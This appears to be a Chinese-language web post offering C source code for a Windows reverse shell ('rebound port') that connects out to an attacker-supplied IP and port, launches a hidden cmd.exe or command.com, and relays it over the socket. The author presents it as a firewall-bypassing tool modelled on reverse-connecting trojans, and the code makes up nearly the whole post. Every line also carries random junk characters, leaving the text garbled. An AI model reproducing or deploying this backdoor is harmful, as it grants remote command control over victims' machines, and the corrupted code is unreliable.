这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 ,0~TvJS
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/* ============================== cpnwx1q@
Rebound port in Windows NT ,m]q+7E
By wind,2006/7 6|}mTG^
===============================*/ #?6RoFgMe
#include ]!:Y]VYN)\
#include rtE,SN
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#pragma comment(lib,"wsock32.lib") IyP].g1"U
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void OutputShell(); =T$- #bA)
SOCKET sClient; ]#n4A|&H
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 1_lL?S3,a@
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void main(int argc,char **argv) u`|fmVI
{ \]%U?`A
WSADATA stWsaData; Y&:i^k
int nRet; 3/FB>w gt
SOCKADDR_IN stSaiClient,stSaiServer; oD\+ 5[x
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if(argc != 3) qDAjW)w
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{ T<)z2Bi
printf("Useage:\n\rRebound DestIP DestPort\n"); GK&Dd"v
return; E76:}(
} p#2th`M:P1
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WSAStartup(MAKEWORD(2,2),&stWsaData); U2$T}/@
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Q@n k T1o
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stSaiClient.sin_family = AF_INET; T1=M6iJ
stSaiClient.sin_port = htons(0); :TI1tJS~*
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); *cI Xae^Y7
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) z, [+
{ VIzZmd
printf("Bind Socket Failed!\n"); q?&&:.H"?5
return; rI/KrBM
} YyIt-fPZ
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stSaiServer.sin_family = AF_INET; {IWb:p#I]
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 2l?J9c}Wo
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 7ow1=%Q
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) YSyW '~!b
{ PAkW[;GSDh
printf("Connect Error!"); 7I|Mq
return; +F|[9o z
} 9OUhV[D
OutputShell(); cqudF=q
} rY}ofq7b
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void OutputShell() )A%Y
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{ G>x0}c
char szBuff[1024]; p<4':s;*
SECURITY_ATTRIBUTES stSecurityAttributes; ~vmY2h\
OSVERSIONINFO stOsversionInfo; '! (`?
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; k
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STARTUPINFO stStartupInfo; "Q1hP9xV
char *szShell; Yo:&\a K[
PROCESS_INFORMATION stProcessInformation; rNc>1}DDS
unsigned long lBytesRead; 1o%Hn"uG
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); srL,9)OC
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); V 6F,X`7
stSecurityAttributes.lpSecurityDescriptor = 0; 0W> ",2|z
stSecurityAttributes.bInheritHandle = TRUE; A\`Uu&
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); (C&f~U
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); lV8Mr6m
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); +Q.[W`goV
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; R)/w
stStartupInfo.wShowWindow = SW_HIDE; +dfSCs
stStartupInfo.hStdInput = hReadPipe; I$$!YMm.N
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; i+}M#Y-O
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GetVersionEx(&stOsversionInfo); L6T_&AiL$
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switch(stOsversionInfo.dwPlatformId) Y%3j>_\;
{ D%zIm,bf
case 1: ",a
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szShell = "command.com"; ScEM#9T |
break; Z_%>yqDC
default: Wxjpe4
szShell = "cmd.exe"; ]P.S5s'
break; Ch3##-
} U/>5C:
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); RaAq>B
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send(sClient,szMsg,77,0); JmkJ^-A 6
while(1) d=[.
{ gIeo7>u
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); [eImP
V]
if(lBytesRead) \gdd
{ VrpYBU
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); BtspnVBez
send(sClient,szBuff,lBytesRead,0); q6q=,<T%S
} Nbr{)h
else `g7'
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{ ]^!#0(
lBytesRead=recv(sClient,szBuff,1024,0); [30e>bSf`
if(lBytesRead<=0) break; ,Fb#%r%
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); ctf'/IZ5
} /Mv'fich(
} 1*Z}M%
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return; @I%m}>4Jm
}